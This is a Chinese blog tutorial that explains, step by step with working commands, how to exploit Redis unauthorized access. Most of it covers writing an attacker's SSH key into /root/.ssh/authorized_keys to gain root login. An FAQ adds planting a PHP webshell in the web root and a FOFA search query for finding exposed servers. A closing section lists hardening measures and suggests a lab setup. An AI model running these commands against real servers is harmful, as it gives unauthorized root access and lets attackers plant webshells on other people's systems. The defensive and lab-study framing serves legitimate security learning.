Redis漏洞最简单三个步骤:3分钟掌握未授权访问利用全过程(附实战演示)

今天给大家带来一个网络安全领域非常经典但又极具杀伤力的话题——Redis未授权访问漏洞的利用

Redis漏洞最简单三个步骤:3分钟掌握未授权访问利用全过程(附实战演示)

你可能听说过“黑客只需三步就能拿下服务器”,听起来很玄乎?但在真实的渗透测试中,Redis未授权访问漏洞就是那个能让攻击者快速提权、写入Webshell甚至获取SSH免密登录权限的“万能钥匙”。

本文将用最通俗易懂的方式,带你从零理解Redis漏洞的本质,并手把手教你仅需三个核心步骤,即可完成一次完整的漏洞利用复现。无论你是刚入门的安全爱好者,还是想了解系统风险的运维人员,这篇文章都值得收藏!


🔍 什么是Redis?为什么它会成为突破口?

Redis 是一款高性能的内存数据库,常用于缓存、消息队列等场景。默认情况下,它监听在 6379 端口,如果配置不当(如未设置密码、绑定到0.0.0.0),就会导致未授权访问漏洞

这意味着:任何能连上这个端口的人,都可以随意读写数据、执行命令,甚至控制整台服务器!

⚠️ 影响版本:Redis 2.x ~ 5.x 均受影响
危害等级:⭐️⭐️⭐️⭐️⭐️(高危)


✅ Redis漏洞利用最简单三步法

我们以最常见的 “通过Redis写入SSH公钥实现免密登录” 为例,整个过程只需要以下三个清晰步骤


✅ 第一步:生成SSH密钥对并格式化公钥

我们要做的,是把自己的公钥“塞”进目标服务器的 /root/.ssh/authorized_keys 文件中,从而实现免密码SSH登录。

操作命令如下:

1# 1. 在攻击机(如Kali Linux)上生成SSH密钥对
2ssh-keygen -t rsa -C "redis@attack"
3
4# 直接连续按三次回车,使用默认路径保存

这会在 ~/.ssh/ 目录下生成两个文件:

  • id_rsa(私钥,千万不能泄露)

  • id_rsa.pub(公钥,用于上传)

格式化公钥,避免与其他缓存数据冲突:

1(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/mykey.txt

📌 小知识:Redis在持久化时可能会在文件头尾添加其他数据,因此我们在公钥前后各加两个换行 \n\n,确保SSH能正确识别。


✅ 第二步:连接Redis并写入公钥到目标文件

接下来,使用 redis-cli 连接到存在漏洞的目标主机。

操作命令如下:

1# 连接目标Redis服务(假设IP为192.168.1.100)
2redis-cli -h 192.168.1.100
3
4# 或直接通过管道写入(推荐方式)
5cat /tmp/mykey.txt | redis-cli -h 192.168.1.100 -x set crackit

📌 -x 参数表示从标准输入读取value值。

然后进入Redis交互模式,修改持久化配置:

1# 设置持久化目录为 /root/.ssh/
2config set dir /root/.ssh/
3
4# 设置持久化文件名为 authorized_keys
5config set dbfilename authorized_keys
6
7# 手动触发保存(关键一步!)
8save

💡 如果提示 (error) ERR Changing directory: Permission denied,说明Redis没有写入该目录的权限,或.ssh目录不存在。

✅ 解决方案:确保目标机器已存在 /root/.ssh/ 目录(可通过其他方式创建),且Redis进程有写权限。


✅ 第三步:使用私钥登录目标服务器

一旦 save 成功,你的公钥就已经写入了目标服务器的 authorized_keys 文件中。

现在,只需使用本地的私钥进行SSH连接:

1ssh -i ~/.ssh/id_rsa root@192.168.1.100

🎉 恭喜!你已经成功登录目标服务器,获得root权限,无需输入任何密码!


🛡️ 如何防御Redis未授权访问漏洞?

上面的操作看似简单,但后果极其严重。作为系统管理员,必须做好以下几点防护:

防护措施配置方法
🔐 设置访问密码在 redis.conf 中启用:
requirepass your_strong_password
🌐 绑定内网IP修改配置文件:
bind 127.0.0.1 或内网IP
🔒 开启保护模式启用 protected-mode:
protected-mode yes
🚫 禁用高危命令如 CONFIGEVALFLUSHALL 等
🔄 修改默认端口port 6380 或其他非标准端口
🧱 配置防火墙规则限制只有可信IP可访问6379端口

🧪 实战小贴士(新手必看)

  1. 环境准备:建议使用虚拟机或Docker搭建测试环境(如 Vulhub 的 Redis 镜像)。

  2. 权限问题:Redis服务必须以root身份运行,才能写入 /root/.ssh/

  3. 目录存在性:目标服务器必须已存在 .ssh 目录,否则无法写入文件。

  4. SSH配置:确认 /etc/ssh/sshd_config 中开启了:

    1PermitRootLogin yes
    2PubkeyAuthentication yes

    并重启SSH服务:systemctl restart sshd


📚 Redis漏洞三步速通图

1[第一步] 生成SSH密钥 → 格式化公钥
2     ↓
3[第二步] 连接Redis → 修改dir/dbfilename → save保存
4     ↓
5[第三步] SSH免密登录 → 获得服务器最高权限

这就是典型的“低配Redis + 高危操作 = 服务器沦陷”的真实案例。


❓常见问题FAQ

Q:为什么我save失败? A:可能是目录无权限、路径错误、或.ssh目录不存在。

Q:能不能写WebShell? A:当然可以!只要知道网站根目录,用同样方法设置 dir /var/www/htmldbfilename shell.php 即可。

Q:如何检测公网是否存在此类漏洞? A:使用扫描工具如 nmap 扫描6379端口,或使用FOFA搜索:port="6379" && product="redis"


📌 Redis本是一款优秀的工具,但“裸奔”在外网就如同把家门钥匙挂在门口。希望通过这篇文章,你能深刻理解这类漏洞的危害与原理。安全无小事,防患于未然才是王道!

发表评论

评论列表

还没有评论,快来说点什么吧~